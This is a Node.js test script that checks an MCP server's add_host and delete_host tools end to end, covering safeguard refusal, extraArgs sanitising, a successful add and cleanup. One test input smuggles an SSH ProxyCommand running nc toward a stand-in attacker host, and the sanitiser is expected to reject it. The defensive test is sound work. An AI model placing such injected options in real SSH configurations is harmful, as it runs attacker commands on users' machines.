tiletopia/scripts/pr4-verify.mjs
megaproxy f3ab54252e scripts: pr4-verify.mjs — end-to-end MCP add_host/delete_host harness
Drives the running MCP server through real HTTP transport to verify the
PR-4 surface end-to-end: safeguard refusal, extraArgs sanitiser, happy
path (with hosts.json side-effect check), delete_host cleanup. Reads
bearer token from %APPDATA%\com.megaproxy.tiletopia\mcp.json, snapshots
+ restores mcp-policy.json so the user's settings survive the run.

Run from D:\dev\tiletopia (Windows host, with the dev app + MCP server
running):
  node scripts/pr4-verify.mjs

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:53:22 +01:00

232 lines
9.6 KiB
JavaScript

#!/usr/bin/env node
// PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host
// tools through the real HTTP transport so we exercise: bearer auth,
// safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write.
//
// Run from D:\dev\tiletopia with:
// node scripts/pr4-verify.mjs
import { readFileSync, writeFileSync } from "node:fs";
import { join } from "node:path";
const APPDATA = process.env.APPDATA;
if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell");
const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia");
const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8"));
const POLICY_PATH = join(CFG_DIR, "mcp-policy.json");
const HOSTS_PATH = join(CFG_DIR, "hosts.json");
const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`;
const TOKEN = MCP_CFG.token;
let sessionId = null;
let nextId = 1;
// Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload
// (parsed as JSON) that matches the message id we expect — sufficient for
// request/response calls. rmcp's streamable HTTP sends one event per RPC.
function parseSse(text, wantId) {
const lines = text.split(/\r?\n/);
let last = null;
for (const line of lines) {
if (!line.startsWith("data:")) continue;
const payload = line.slice(5).trim();
if (!payload) continue;
try {
const obj = JSON.parse(payload);
if (obj.id === wantId) return obj;
last = obj;
} catch (_) { /* skip */ }
}
return last;
}
async function rpc(method, params, { notification = false } = {}) {
const id = nextId++;
const body = notification
? { jsonrpc: "2.0", method, params }
: { jsonrpc: "2.0", id, method, params };
const headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Authorization": `Bearer ${TOKEN}`,
};
if (sessionId) headers["mcp-session-id"] = sessionId;
const res = await fetch(URL, {
method: "POST",
headers,
body: JSON.stringify(body),
});
if (notification) return null;
if (!res.ok) {
const text = await res.text();
throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`);
}
const sid = res.headers.get("mcp-session-id");
if (sid && !sessionId) sessionId = sid;
const ct = res.headers.get("content-type") || "";
const text = await res.text();
if (ct.includes("text/event-stream")) {
const parsed = parseSse(text, id);
if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`);
return parsed;
}
return JSON.parse(text);
}
function summarise(rpcResult, label) {
if (rpcResult.error) {
console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`);
return rpcResult.error;
}
const content = rpcResult.result?.content ?? rpcResult.result;
console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`);
return rpcResult.result;
}
async function callTool(name, args) {
return rpc("tools/call", { name, arguments: args });
}
function readPolicy() {
return JSON.parse(readFileSync(POLICY_PATH, "utf8"));
}
function writePolicy(p) {
writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2));
}
function readHosts() {
return JSON.parse(readFileSync(HOSTS_PATH, "utf8"));
}
// -----------------------------------------------------------------------------
console.log(`MCP URL: ${URL}`);
console.log(`Token: ${TOKEN.slice(0, 12)}`);
// Step 0: initialize.
const init = await rpc("initialize", {
protocolVersion: "2024-11-05",
capabilities: {},
clientInfo: { name: "pr4-verify", version: "1.0" },
});
console.log(`session id: ${sessionId}`);
console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`);
await rpc("notifications/initialized", {}, { notification: true });
// Step 1: tools/list — verify add_host + delete_host are present.
const list = await rpc("tools/list", {});
const toolNames = list.result.tools.map((t) => t.name).sort();
console.log(`tools: ${toolNames.join(", ")}`);
const hasAdd = toolNames.includes("add_host");
const hasDel = toolNames.includes("delete_host");
if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list");
// Snapshot state for restore at the end.
const originalPolicy = readPolicy();
const originalHosts = readHosts();
console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`);
// -----------------------------------------------------------------------------
// TEST 1: Refusal path — safeguard off → "add-host-disabled".
// -----------------------------------------------------------------------------
console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled");
// Make sure safeguard is off + add_host is in allow bucket so we test the
// safeguard gate, not the confirm modal.
writePolicy({
...originalPolicy,
permissions: {
...originalPolicy.permissions,
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
},
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false },
});
const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" });
summarise(t1, "T1");
if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) {
throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1));
}
console.log(" T1 PASS — safeguard correctly refused");
// -----------------------------------------------------------------------------
// TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject.
// -----------------------------------------------------------------------------
console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection");
writePolicy({
...originalPolicy,
permissions: {
...originalPolicy.permissions,
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
},
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true },
});
const t2 = await callTool("add_host", {
hostname: "pr4-evil.example.com",
label: "PR-4 evil",
extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"],
});
summarise(t2, "T2");
if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) {
throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2));
}
console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand");
// -----------------------------------------------------------------------------
// TEST 3: Happy path — clean args → success + verify hosts.json.
// -----------------------------------------------------------------------------
console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1");
const beforeHosts = readHosts();
const t3 = await callTool("add_host", {
hostname: "pr4-test.example.com",
label: "PR-4 verify",
user: "claude",
port: 2222,
extraArgs: ["-o", "ServerAliveInterval=30"],
});
summarise(t3, "T3");
if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message);
// Backend wraps the inner result JSON in a content array; parse it out.
let newHostId = null;
const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result;
newHostId = t3Payload.hostId;
console.log(` new hostId: ${newHostId}`);
// Allow the frontend's setHosts → saveSshHosts to land.
await new Promise((r) => setTimeout(r, 400));
const afterHosts = readHosts();
if (afterHosts.length !== beforeHosts.length + 1) {
throw new Error(`T3: hosts.json count went ${beforeHosts.length}${afterHosts.length}, expected +1`);
}
const added = afterHosts.find((h) => h.id === newHostId);
if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`);
if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch");
if (added.user !== "claude") throw new Error("T3: user mismatch");
if (added.port !== 2222) throw new Error("T3: port mismatch");
if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") {
throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs));
}
console.log(" T3 PASS — host saved with all fields intact");
// -----------------------------------------------------------------------------
// TEST 4: delete_host — verify cleanup.
// -----------------------------------------------------------------------------
console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline");
const t4 = await callTool("delete_host", { host_id: newHostId });
summarise(t4, "T4");
if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message);
await new Promise((r) => setTimeout(r, 400));
const finalHosts = readHosts();
if (finalHosts.length !== beforeHosts.length) {
throw new Error(`T4: hosts.json count went ${afterHosts.length}${finalHosts.length}, expected ${beforeHosts.length}`);
}
if (finalHosts.find((h) => h.id === newHostId)) {
throw new Error(`T4: hostId ${newHostId} still in hosts.json`);
}
console.log(" T4 PASS — host removed");
// -----------------------------------------------------------------------------
// Restore original policy.
// -----------------------------------------------------------------------------
writePolicy(originalPolicy);
console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`);
console.log("\nALL TESTS PASS ✓");